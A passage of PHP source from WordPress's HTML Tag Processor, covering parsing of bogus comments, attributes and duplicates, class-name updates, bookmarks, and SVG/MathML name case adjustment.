			 * `<?` transitions to a bogus comment state – skip to the nearest >
			 * See https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			if ( ! $this->is_closing_tag && '?' === $html[ $at + 1 ] ) {
				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify a Processing Instruction node were HTML to have them.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `?>` as would be required in an XML document. It
				 * is therefore not possible to parse a Processing Instruction node
				 * containing a `>` in the HTML syntax.
				 *
				 * XML allows for more target names, but this code only identifies
				 * those with ASCII-representable target names. This means that it
				 * may identify some Processing Instruction nodes as bogus comments,
				 * but it will not misinterpret the HTML structure. By limiting the
				 * identification to these target names the Tag Processor can avoid
				 * the need to start parsing UTF-8 sequences.
				 *
				 * > NameStartChar ::= ":" | [A-Z] | "_" | [a-z] | [#xC0-#xD6] | [#xD8-#xF6] | [#xF8-#x2FF] |
				 *                     [#x370-#x37D] | [#x37F-#x1FFF] | [#x200C-#x200D] | [#x2070-#x218F] |
				 *                     [#x2C00-#x2FEF] | [#x3001-#xD7FF] | [#xF900-#xFDCF] | [#xFDF0-#xFFFD] |
				 *                     [#x10000-#xEFFFF]
				 * > NameChar      ::= NameStartChar | "-" | "." | [0-9] | #xB7 | [#x0300-#x036F] | [#x203F-#x2040]
				 *
				 * @todo Processing instruction nodes in SGML may contain any kind of markup. XML defines a
				 *       special case with `<?xml ... ?>` syntax, but the `?` is part of the bogus comment.
				 *
				 * @see https://www.w3.org/TR/2006/REC-xml11-20060816/#NT-PITarget
				 */
				if ( $this->token_length >= 5 && '?' === $html[ $closer_at - 1 ] ) {
					$comment_text     = substr( $html, $this->token_starts_at + 2, $this->token_length - 4 );
					$pi_target_length = strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ:_' );

					if ( 0 < $pi_target_length ) {
						$pi_target_length += strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789:_-.', $pi_target_length );

						$this->comment_type       = self::COMMENT_AS_PI_NODE_LOOKALIKE;
						$this->tag_name_starts_at = $this->token_starts_at + 2;
						$this->tag_name_length    = $pi_target_length;
						$this->text_starts_at    += $pi_target_length;
						$this->text_length       -= $pi_target_length + 1;
					}
				}

				return true;
			}

			/*
			 * If a non-alpha starts the tag name in a tag closer it's a comment.
			 * Find the first `>`, which closes the comment.
			 *
			 * This parser classifies these particular comments as special "funky comments"
			 * which are made available for further processing.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-invalid-first-character-of-tag-name
			 */
			if ( $this->is_closing_tag ) {
				// No chance of finding a closer.
				if ( $at + 3 > $doc_length ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_FUNKY_COMMENT;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;
				return true;
			}

			++$at;
		}

		/*
		 * This does not imply an incomplete parse; it indicates that there
		 * can be nothing left in the document other than a #text node.
		 */
		$this->parser_state         = self::STATE_TEXT_NODE;
		$this->token_starts_at      = $was_at;
		$this->token_length         = $doc_length - $was_at;
		$this->text_starts_at       = $was_at;
		$this->text_length          = $this->token_length;
		$this->bytes_already_parsed = $doc_length;
		return true;
	}

	/**
	 * Parses the next attribute.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether an attribute was found before the end of the document.
	 */
	private function parse_next_attribute(): bool {
		$doc_length = strlen( $this->html );

		// Skip whitespace and slashes.
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n/", $this->bytes_already_parsed );
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		/*
		 * Treat the equal sign as a part of the attribute
		 * name if it is the first encountered byte.
		 *
		 * @see https://html.spec.whatwg.org/multipage/parsing.html#before-attribute-name-state
		 */
		$name_length = '=' === $this->html[ $this->bytes_already_parsed ]
			? 1 + strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed + 1 )
			: strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed );

		// No attribute, just tag closer.
		if ( 0 === $name_length || $this->bytes_already_parsed + $name_length >= $doc_length ) {
			return false;
		}

		$attribute_start             = $this->bytes_already_parsed;
		$attribute_name              = substr( $this->html, $attribute_start, $name_length );
		$this->bytes_already_parsed += $name_length;
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$this->skip_whitespace();
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$has_value = '=' === $this->html[ $this->bytes_already_parsed ];
		if ( $has_value ) {
			++$this->bytes_already_parsed;
			$this->skip_whitespace();
			if ( $this->bytes_already_parsed >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			switch ( $this->html[ $this->bytes_already_parsed ] ) {
				case "'":
				case '"':
					$quote                      = $this->html[ $this->bytes_already_parsed ];
					$value_start                = $this->bytes_already_parsed + 1;
					$end_quote_at               = strpos( $this->html, $quote, $value_start );
					$end_quote_at               = false === $end_quote_at ? $doc_length : $end_quote_at;
					$value_length               = $end_quote_at - $value_start;
					$attribute_end              = $end_quote_at + 1;
					$this->bytes_already_parsed = $attribute_end;
					break;

				default:
					$value_start                = $this->bytes_already_parsed;
					$value_length               = strcspn( $this->html, "> \t\f\r\n", $value_start );
					$attribute_end              = $value_start + $value_length;
					$this->bytes_already_parsed = $attribute_end;
			}
		} else {
			$value_start   = $this->bytes_already_parsed;
			$value_length  = 0;
			$attribute_end = $attribute_start + $name_length;
		}

		if ( $attribute_end >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		if ( $this->is_closing_tag ) {
			return true;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $attribute_name );

		// If an attribute is listed many times, only use the first declaration and ignore the rest.
		if ( ! isset( $this->attributes[ $comparable_name ] ) ) {
			$this->attributes[ $comparable_name ] = new WP_HTML_Attribute_Token(
				$attribute_name,
				$value_start,
				$value_length,
				$attribute_start,
				$attribute_end - $attribute_start,
				! $has_value
			);

			return true;
		}

		/*
		 * Track the duplicate attributes so if we remove it, all disappear together.
		 *
		 * While `$this->duplicated_attributes` could always be stored as an `array()`,
		 * which would simplify the logic here, storing a `null` and only allocating
		 * an array when encountering duplicates avoids needless allocations in the
		 * normative case of parsing tags with no duplicate attributes.
		 */
		$duplicate_span = new WP_HTML_Span( $attribute_start, $attribute_end - $attribute_start );
		if ( null === $this->duplicate_attributes ) {
			$this->duplicate_attributes = array( $comparable_name => array( $duplicate_span ) );
		} elseif ( ! isset( $this->duplicate_attributes[ $comparable_name ] ) ) {
			$this->duplicate_attributes[ $comparable_name ] = array( $duplicate_span );
		} else {
			$this->duplicate_attributes[ $comparable_name ][] = $duplicate_span;
		}

		return true;
	}

	/**
	 * Move the internal cursor past any immediate successive whitespace.
	 *
	 * @since 6.2.0
	 */
	private function skip_whitespace(): void {
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n", $this->bytes_already_parsed );
	}

	/**
	 * Applies attribute updates and cleans up once a tag is fully parsed.
	 *
	 * @since 6.2.0
	 */
	private function after_tag(): void {
		/*
		 * There could be lexical updates enqueued for an attribute that
		 * also exists on the next tag. In order to avoid conflating the
		 * attributes across the two tags, lexical updates with names
		 * need to be flushed to raw lexical updates.
		 */
		$this->class_name_updates_to_attributes_updates();

		/*
		 * Purge updates if there are too many. The actual count isn't
		 * scientific, but a few values from 100 to a few thousand were
		 * tests to find a practically-useful limit.
		 *
		 * If the update queue grows too big, then the Tag Processor
		 * will spend more time iterating through them and lose the
		 * efficiency gains of deferring applying them.
		 */
		if ( 1000 < count( $this->lexical_updates ) ) {
			$this->get_updated_html();
		}

		foreach ( $this->lexical_updates as $name => $update ) {
			/*
			 * Any updates appearing after the cursor should be applied
			 * before proceeding, otherwise they may be overlooked.
			 */
			if ( $update->start >= $this->bytes_already_parsed ) {
				$this->get_updated_html();
				break;
			}

			if ( is_int( $name ) ) {
				continue;
			}

			$this->lexical_updates[] = $update;
			unset( $this->lexical_updates[ $name ] );
		}

		$this->token_starts_at          = null;
		$this->token_length             = null;
		$this->tag_name_starts_at       = null;
		$this->tag_name_length          = null;
		$this->text_starts_at           = 0;
		$this->text_length              = 0;
		$this->is_closing_tag           = null;
		$this->attributes               = array();
		$this->comment_type             = null;
		$this->text_node_classification = self::TEXT_IS_GENERIC;
		$this->duplicate_attributes     = null;
	}

	/**
	 * Converts class name updates into tag attributes updates
	 * (they are accumulated in different data formats for performance).
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::$lexical_updates
	 * @see WP_HTML_Tag_Processor::$classname_updates
	 */
	private function class_name_updates_to_attributes_updates(): void {
		if ( count( $this->classname_updates ) === 0 ) {
			return;
		}

		$existing_class = $this->get_enqueued_attribute_value( 'class' );
		if ( null === $existing_class || true === $existing_class ) {
			$existing_class = '';
		}

		if ( false === $existing_class && isset( $this->attributes['class'] ) ) {
			$existing_class = substr(
				$this->html,
				$this->attributes['class']->value_starts_at,
				$this->attributes['class']->value_length
			);
		}

		if ( false === $existing_class ) {
			$existing_class = '';
		}

		/**
		 * Updated "class" attribute value.
		 *
		 * This is incrementally built while scanning through the existing class
		 * attribute, skipping removed classes on the way, and then appending
		 * added classes at the end. Only when finished processing will the
		 * value contain the final new value.

		 * @var string $class
		 */
		$class = '';

		/**
		 * Tracks the cursor position in the existing
		 * class attribute value while parsing.
		 *
		 * @var int $at
		 */
		$at = 0;

		/**
		 * Indicates if there's any need to modify the existing class attribute.
		 *
		 * If a call to `add_class()` and `remove_class()` wouldn't impact
		 * the `class` attribute value then there's no need to rebuild it.
		 * For example, when adding a class that's already present or
		 * removing one that isn't.
		 *
		 * This flag enables a performance optimization when none of the enqueued
		 * class updates would impact the `class` attribute; namely, that the
		 * processor can continue without modifying the input document, as if
		 * none of the `add_class()` or `remove_class()` calls had been made.
		 *
		 * This flag is set upon the first change that requires a string update.
		 *
		 * @var bool $modified
		 */
		$modified = false;

		$seen      = array();
		$to_remove = array();
		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;
		if ( $is_quirks ) {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = strtolower( $updated_name );
				}
			}
		} else {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = $updated_name;
				}
			}
		}

		// Remove unwanted classes by only copying the new ones.
		$existing_class_length = strlen( $existing_class );
		while ( $at < $existing_class_length ) {
			// Skip to the first non-whitespace character.
			$ws_at     = $at;
			$ws_length = strspn( $existing_class, " \t\f\r\n", $ws_at );
			$at       += $ws_length;

			// Capture the class name – it's everything until the next whitespace.
			$name_length = strcspn( $existing_class, " \t\f\r\n", $at );
			if ( 0 === $name_length ) {
				// If no more class names are found then that's the end.
				break;
			}

			$name                  = substr( $existing_class, $at, $name_length );
			$comparable_class_name = $is_quirks ? strtolower( $name ) : $name;
			$at                   += $name_length;

			// If this class is marked for removal, remove it and move on to the next one.
			if ( in_array( $comparable_class_name, $to_remove, true ) ) {
				$modified = true;
				continue;
			}

			// If a class has already been seen then skip it; it should not be added twice.
			if ( in_array( $comparable_class_name, $seen, true ) ) {
				continue;
			}

			$seen[] = $comparable_class_name;

			/*
			 * Otherwise, append it to the new "class" attribute value.
			 *
			 * There are options for handling whitespace between tags.
			 * Preserving the existing whitespace produces fewer changes
			 * to the HTML content and should clarify the before/after
			 * content when debugging the modified output.
			 *
			 * This approach contrasts normalizing the inter-class
			 * whitespace to a single space, which might appear cleaner
			 * in the output HTML but produce a noisier change.
			 */
			if ( '' !== $class ) {
				$class .= substr( $existing_class, $ws_at, $ws_length );
			}
			$class .= $name;
		}

		// Add new classes by appending those which haven't already been seen.
		foreach ( $this->classname_updates as $name => $operation ) {
			$comparable_name = $is_quirks ? strtolower( $name ) : $name;
			if ( self::ADD_CLASS === $operation && ! in_array( $comparable_name, $seen, true ) ) {
				$modified = true;

				$class .= strlen( $class ) > 0 ? ' ' : '';
				$class .= $name;
			}
		}

		$this->classname_updates = array();
		if ( ! $modified ) {
			return;
		}

		if ( strlen( $class ) > 0 ) {
			$this->set_attribute( 'class', $class );
		} else {
			$this->remove_attribute( 'class' );
		}
	}

	/**
	 * Applies attribute updates to HTML document.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Accumulates shift for internal cursor and passed pointer.
	 * @since 6.3.0 Invalidate any bookmarks whose targets are overwritten.
	 *
	 * @param int $shift_this_point Accumulate and return shift for this position.
	 * @return int How many bytes the given pointer moved in response to the updates.
	 */
	private function apply_attributes_updates( int $shift_this_point ): int {
		if ( ! count( $this->lexical_updates ) ) {
			return 0;
		}

		$accumulated_shift_for_given_point = 0;

		/*
		 * Attribute updates can be enqueued in any order but updates
		 * to the document must occur in lexical order; that is, each
		 * replacement must be made before all others which follow it
		 * at later string indices in the input document.
		 *
		 * Sorting avoid making out-of-order replacements which
		 * can lead to mangled output, partially-duplicated
		 * attributes, and overwritten attributes.
		 */
		usort( $this->lexical_updates, array( self::class, 'sort_start_ascending' ) );

		$bytes_already_copied = 0;
		$output_buffer        = '';
		foreach ( $this->lexical_updates as $diff ) {
			$shift = strlen( $diff->text ) - $diff->length;

			// Adjust the cursor position by however much an update affects it.
			if ( $diff->start < $this->bytes_already_parsed ) {
				$this->bytes_already_parsed += $shift;
			}

			// Accumulate shift of the given pointer within this function call.
			if ( $diff->start < $shift_this_point ) {
				$accumulated_shift_for_given_point += $shift;
			}

			$output_buffer       .= substr( $this->html, $bytes_already_copied, $diff->start - $bytes_already_copied );
			$output_buffer       .= $diff->text;
			$bytes_already_copied = $diff->start + $diff->length;
		}

		$this->html = $output_buffer . substr( $this->html, $bytes_already_copied );

		/*
		 * Adjust bookmark locations to account for how the text
		 * replacements adjust offsets in the input document.
		 */
		foreach ( $this->bookmarks as $bookmark_name => $bookmark ) {
			$bookmark_end = $bookmark->start + $bookmark->length;

			/*
			 * Each lexical update which appears before the bookmark's endpoints
			 * might shift the offsets for those endpoints. Loop through each change
			 * and accumulate the total shift for each bookmark, then apply that
			 * shift after tallying the full delta.
			 */
			$head_delta = 0;
			$tail_delta = 0;

			foreach ( $this->lexical_updates as $diff ) {
				$diff_end = $diff->start + $diff->length;

				if ( $bookmark->start < $diff->start && $bookmark_end < $diff->start ) {
					break;
				}

				if ( $bookmark->start >= $diff->start && $bookmark_end < $diff_end ) {
					$this->release_bookmark( $bookmark_name );
					continue 2;
				}

				$delta = strlen( $diff->text ) - $diff->length;

				if ( $bookmark->start >= $diff->start ) {
					$head_delta += $delta;
				}

				if ( $bookmark_end >= $diff_end ) {
					$tail_delta += $delta;
				}
			}

			$bookmark->start  += $head_delta;
			$bookmark->length += $tail_delta - $head_delta;
		}

		$this->lexical_updates = array();

		return $accumulated_shift_for_given_point;
	}

	/**
	 * Checks whether a bookmark with the given name exists.
	 *
	 * @since 6.3.0
	 *
	 * @param string $bookmark_name Name to identify a bookmark that potentially exists.
	 * @return bool Whether that bookmark exists.
	 */
	public function has_bookmark( $bookmark_name ): bool {
		return array_key_exists( $bookmark_name, $this->bookmarks );
	}

	/**
	 * Move the internal cursor in the Tag Processor to a given bookmark's location.
	 *
	 * In order to prevent accidental infinite loops, there's a
	 * maximum limit on the number of times seek() can be called.
	 *
	 * @since 6.2.0
	 *
	 * @param string $bookmark_name Jump to the place in the document identified by this bookmark name.
	 * @return bool Whether the internal cursor was successfully moved to the bookmark's location.
	 */
	public function seek( $bookmark_name ): bool {
		if ( ! array_key_exists( $bookmark_name, $this->bookmarks ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Unknown bookmark name.' ),
				'6.2.0'
			);
			return false;
		}

		$existing_bookmark = $this->bookmarks[ $bookmark_name ];

		if (
			$this->token_starts_at === $existing_bookmark->start &&
			$this->token_length === $existing_bookmark->length
		) {
			return true;
		}

		if ( ++$this->seek_count > static::MAX_SEEK_OPS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many calls to seek() - this can lead to performance issues.' ),
				'6.2.0'
			);
			return false;
		}

		// Flush out any pending updates to the document.
		$this->get_updated_html();

		// Point this tag processor before the sought tag opener and consume it.
		$this->bytes_already_parsed = $this->bookmarks[ $bookmark_name ]->start;
		$this->parser_state         = self::STATE_READY;
		return $this->next_token();
	}

	/**
	 * Compare two WP_HTML_Text_Replacement objects.
	 *
	 * @since 6.2.0
	 *
	 * @param WP_HTML_Text_Replacement $a First attribute update.
	 * @param WP_HTML_Text_Replacement $b Second attribute update.
	 * @return int Comparison value for string order.
	 */
	private static function sort_start_ascending( WP_HTML_Text_Replacement $a, WP_HTML_Text_Replacement $b ): int {
		$by_start = $a->start - $b->start;
		if ( 0 !== $by_start ) {
			return $by_start;
		}

		$by_text = isset( $a->text, $b->text ) ? strcmp( $a->text, $b->text ) : 0;
		if ( 0 !== $by_text ) {
			return $by_text;
		}

		/*
		 * This code should be unreachable, because it implies the two replacements
		 * start at the same location and contain the same text.
		 */
		return $a->length - $b->length;
	}

	/**
	 * Return the enqueued value for a given attribute, if one exists.
	 *
	 * Enqueued updates can take different data types:
	 *  - If an update is enqueued and is boolean, the return will be `true`
	 *  - If an update is otherwise enqueued, the return will be the string value of that update.
	 *  - If an attribute is enqueued to be removed, the return will be `null` to indicate that.
	 *  - If no updates are enqueued, the return will be `false` to differentiate from "removed."
	 *
	 * @since 6.2.0
	 *
	 * @param string $comparable_name The attribute name in its comparable form.
	 * @return string|boolean|null Value of enqueued update if present, otherwise false.
	 */
	private function get_enqueued_attribute_value( string $comparable_name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		if ( ! isset( $this->lexical_updates[ $comparable_name ] ) ) {
			return false;
		}

		$enqueued_text = $this->lexical_updates[ $comparable_name ]->text;

		// Removed attributes erase the entire span.
		if ( '' === $enqueued_text ) {
			return null;
		}

		/*
		 * Boolean attribute updates are just the attribute name without a corresponding value.
		 *
		 * This value might differ from the given comparable name in that there could be leading
		 * or trailing whitespace, and that the casing follows the name given in `set_attribute`.
		 *
		 * Example:
		 *
		 *     $p->set_attribute( 'data-TEST-id', 'update' );
		 *     'update' === $p->get_enqueued_attribute_value( 'data-test-id' );
		 *
		 * Detect this difference based on the absence of the `=`, which _must_ exist in any
		 * attribute containing a value, e.g. `<input type="text" enabled />`.
		 *                                            ¹           ²
		 *                                       1. Attribute with a string value.
		 *                                       2. Boolean attribute whose value is `true`.
		 */
		$equals_at = strpos( $enqueued_text, '=' );
		if ( false === $equals_at ) {
			return true;
		}

		/*
		 * Finally, a normal update's value will appear after the `=` and
		 * be double-quoted, as performed incidentally by `set_attribute`.
		 *
		 * e.g. `type="text"`
		 *           ¹²    ³
		 *        1. Equals is here.
		 *        2. Double-quoting starts one after the equals sign.
		 *        3. Double-quoting ends at the last character in the update.
		 */
		$enqueued_value = substr( $enqueued_text, $equals_at + 2, -1 );
		return WP_HTML_Decoder::decode_attribute( $enqueued_value );
	}

	/**
	 * Returns the value of a requested attribute from a matched tag opener if that attribute exists.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div enabled class="test" data-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute( 'data-test-id' ) === '14';
	 *     $p->get_attribute( 'enabled' ) === true;
	 *     $p->get_attribute( 'aria-label' ) === null;
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute( 'class' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Name of attribute whose value is requested.
	 * @return string|true|null Value of attribute or `null` if not available. Boolean attributes return `true`.
	 */
	public function get_attribute( $name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$comparable = strtolower( $name );

		/*
		 * For every attribute other than `class` it's possible to perform a quick check if
		 * there's an enqueued lexical update whose value takes priority over what's found in
		 * the input document.
		 *
		 * The `class` attribute is special though because of the exposed helpers `add_class`
		 * and `remove_class`. These form a builder for the `class` attribute, so an additional
		 * check for enqueued class changes is required in addition to the check for any enqueued
		 * attribute values. If any exist, those enqueued class changes must first be flushed out
		 * into an attribute value update.
		 */
		if ( 'class' === $name ) {
			$this->class_name_updates_to_attributes_updates();
		}

		// Return any enqueued attribute value updates if they exist.
		$enqueued_value = $this->get_enqueued_attribute_value( $comparable );
		if ( false !== $enqueued_value ) {
			return $enqueued_value;
		}

		if ( ! isset( $this->attributes[ $comparable ] ) ) {
			return null;
		}

		$attribute = $this->attributes[ $comparable ];

		/*
		 * This flag distinguishes an attribute with no value
		 * from an attribute with an empty string value. For
		 * unquoted attributes this could look very similar.
		 * It refers to whether an `=` follows the name.
		 *
		 * e.g. <div boolean-attribute empty-attribute=></div>
		 *           ¹                 ²
		 *        1. Attribute `boolean-attribute` is `true`.
		 *        2. Attribute `empty-attribute` is `""`.
		 */
		if ( true === $attribute->is_true ) {
			return true;
		}

		$raw_value = substr( $this->html, $attribute->value_starts_at, $attribute->value_length );

		return WP_HTML_Decoder::decode_attribute( $raw_value );
	}

	/**
	 * Gets lowercase names of all attributes matching a given prefix in the current tag.
	 *
	 * Note that matching is case-insensitive. This is in accordance with the spec:
	 *
	 * > There must never be two or more attributes on
	 * > the same start tag whose names are an ASCII
	 * > case-insensitive match for each other.
	 *     - HTML 5 spec
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div data-ENABLED class="test" DATA-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === array( 'data-enabled', 'data-test-id' );
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
	 *
	 * @param string $prefix Prefix of requested attribute names.
	 * @return array|null List of attribute names, or `null` when no tag opener is matched.
	 */
	public function get_attribute_names_with_prefix( $prefix ): ?array {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return null;
		}

		$comparable = strtolower( $prefix );

		$matches = array();
		foreach ( array_keys( $this->attributes ) as $attr_name ) {
			if ( str_starts_with( $attr_name, $comparable ) ) {
				$matches[] = $attr_name;
			}
		}
		return $matches;
	}

	/**
	 * Returns the namespace of the matched token.
	 *
	 * @since 6.7.0
	 *
	 * @return string One of 'html', 'math', or 'svg'.
	 */
	public function get_namespace(): string {
		return $this->parsing_namespace;
	}

	/**
	 * Returns the uppercase name of the matched tag.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div class="test">Test</div>' );
	 *     $p->next_tag() === true;
	 *     $p->get_tag() === 'DIV';
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_tag() === null;
	 *
	 * @since 6.2.0
	 *
	 * @return string|null Name of currently matched tag in input HTML, or `null` if none found.
	 */
	public function get_tag(): ?string {
		if ( null === $this->tag_name_starts_at ) {
			return null;
		}

		$tag_name = substr( $this->html, $this->tag_name_starts_at, $this->tag_name_length );

		if ( self::STATE_MATCHED_TAG === $this->parser_state ) {
			return strtoupper( $tag_name );
		}

		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_PI_NODE_LOOKALIKE === $this->get_comment_type()
		) {
			return $tag_name;
		}

		return null;
	}

	/**
	 * Returns the adjusted tag name for a given token, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null Name of current tag name.
	 */
	public function get_qualified_tag_name(): ?string {
		$tag_name = $this->get_tag();
		if ( null === $tag_name ) {
			return null;
		}

		if ( 'html' === $this->get_namespace() ) {
			return $tag_name;
		}

		$lower_tag_name = strtolower( $tag_name );
		if ( 'math' === $this->get_namespace() ) {
			return $lower_tag_name;
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_tag_name ) {
				case 'altglyph':
					return 'altGlyph';

				case 'altglyphdef':
					return 'altGlyphDef';

				case 'altglyphitem':
					return 'altGlyphItem';

				case 'animatecolor':
					return 'animateColor';

				case 'animatemotion':
					return 'animateMotion';

				case 'animatetransform':
					return 'animateTransform';

				case 'clippath':
					return 'clipPath';

				case 'feblend':
					return 'feBlend';

				case 'fecolormatrix':
					return 'feColorMatrix';

				case 'fecomponenttransfer':
					return 'feComponentTransfer';

				case 'fecomposite':
					return 'feComposite';

				case 'feconvolvematrix':
					return 'feConvolveMatrix';

				case 'fediffuselighting':
					return 'feDiffuseLighting';

				case 'fedisplacementmap':
					return 'feDisplacementMap';

				case 'fedistantlight':
					return 'feDistantLight';

				case 'fedropshadow':
					return 'feDropShadow';

				case 'feflood':
					return 'feFlood';

				case 'fefunca':
					return 'feFuncA';

				case 'fefuncb':
					return 'feFuncB';

				case 'fefuncg':
					return 'feFuncG';

				case 'fefuncr':
					return 'feFuncR';

				case 'fegaussianblur':
					return 'feGaussianBlur';

				case 'feimage':
					return 'feImage';

				case 'femerge':
					return 'feMerge';

				case 'femergenode':
					return 'feMergeNode';

				case 'femorphology':
					return 'feMorphology';

				case 'feoffset':
					return 'feOffset';

				case 'fepointlight':
					return 'fePointLight';

				case 'fespecularlighting':
					return 'feSpecularLighting';

				case 'fespotlight':
					return 'feSpotLight';

				case 'fetile':
					return 'feTile';

				case 'feturbulence':
					return 'feTurbulence';

				case 'foreignobject':
					return 'foreignObject';

				case 'glyphref':
					return 'glyphRef';

				case 'lineargradient':
					return 'linearGradient';

				case 'radialgradient':
					return 'radialGradient';

				case 'textpath':
					return 'textPath';

				default:
					return $lower_tag_name;
			}
		}

		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return $tag_name;
	}

	/**
	 * Returns the adjusted attribute name for a given attribute, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @param string $attribute_name Which attribute to adjust.
	 *
	 * @return string|null
	 */
	public function get_qualified_attribute_name( $attribute_name ): ?string {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$namespace  = $this->get_namespace();
		$lower_name = strtolower( $attribute_name );

		if ( 'math' === $namespace && 'definitionurl' === $lower_name ) {
			return 'definitionURL';
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_name ) {
				case 'attributename':
					return 'attributeName';

				case 'attributetype':
					return 'attributeType';

				case 'basefrequency':
					return 'baseFrequency';

				case 'baseprofile':
					return 'baseProfile';

				case 'calcmode':
					return 'calcMode';

				case 'clippathunits':
					return 'clipPathUnits';

				case 'diffuseconstant':
					return 'diffuseConstant';

				case 'edgemode':
					return 'edgeMode';

				case 'filterunits':
					return 'filterUnits';

				case 'glyphref':
					return 'glyphRef';

				case 'gradienttransform':
					return 'gradientTransform';

				case 'gradientunits':
					return 'gradientUnits';

				case 'kernelmatrix':
					return 'kernelMatrix';

				case 'kernelunitlength':
					return 'kernelUnitLength';

				case 'keypoints':
					return 'keyPoints';

				case 'keysplines':
					return 'keySplines';

				case 'keytimes':
					return 'keyTimes';

				case 'lengthadjust':
					return 'lengthAdjust';

				case 'limitingconeangle':
					return 'limitingConeAngle';

				case 'markerheight':
					return 'markerHeight';

				case 'markerunits':
					return 'markerUnits';

				case 'markerwidth':
					return 'markerWidth';

				case 'maskcontentunits':
					return 'maskContentUnits';

				case 'maskunits':
					return 'maskUnits';

				case 'numoctaves':
					return 'numOctaves';

				case 'pathlength':
					return 'pathLength';

				case 'patterncontentunits':
					return 'patternContentUnits';

				case 'patterntransform':
					return 'patternTransform';

				case 'patternunits':
					return 'patternUnits';

				case 'pointsatx':
					return 'pointsAtX';

				case 'pointsaty':
					return 'pointsAtY';

				case 'pointsatz':
					return 'pointsAtZ';

				case 'preservealpha':
					return 'preserveAlpha';

				case 'preserveaspectratio':
					return 'preserveAspectRatio';

				case 'primitiveunits':
					return 'primitiveUnits';

				case 'refx':
					return 'refX';

				case 'refy':
					return 'refY';

				case 'repeatcount':
					return 'repeatCount';

				case 'repeatdur':
					return 'repeatDur';

				case 'requiredextensions':
					return 'requiredExtensions';

				case 'requiredfeatures':
					return 'requiredFeatures';

				case 'specularconstant':
					return 'specularConstant';

				case 'specularexponent':
					return 'specularExponent';

				case 'spreadmethod':
					return 'spreadMethod';

				case 'startoffset':
					return 'startOffset';

				case 'stddeviation':
					return 'stdDeviation';

